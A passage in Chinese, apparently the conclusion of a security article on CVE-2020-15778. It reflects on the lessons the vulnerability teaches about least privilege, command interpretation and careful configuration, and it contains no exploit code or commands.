Chroot并测试其有效性。这个过程能让你对漏洞的触发条件、利用限制和防御效果有最直观的认识。CVE-2020-15778给我们的教训是深刻的安全是一个整体任何一个环节的“想当然”都可能成为突破口。它提醒我们在实施“最小权限原则”时必须彻底理解所使用工具的全部行为含义特别是那些涉及命令解释和参数传递的边界情况。对于系统管理员和安全工程师而言持续学习、深度理解协议与工具的底层逻辑并保持对配置的审慎是构筑真正有效防御的基石。在实战中攻击者往往就是利用这些细微的理解偏差和配置疏忽撕开整个防御体系的裂口。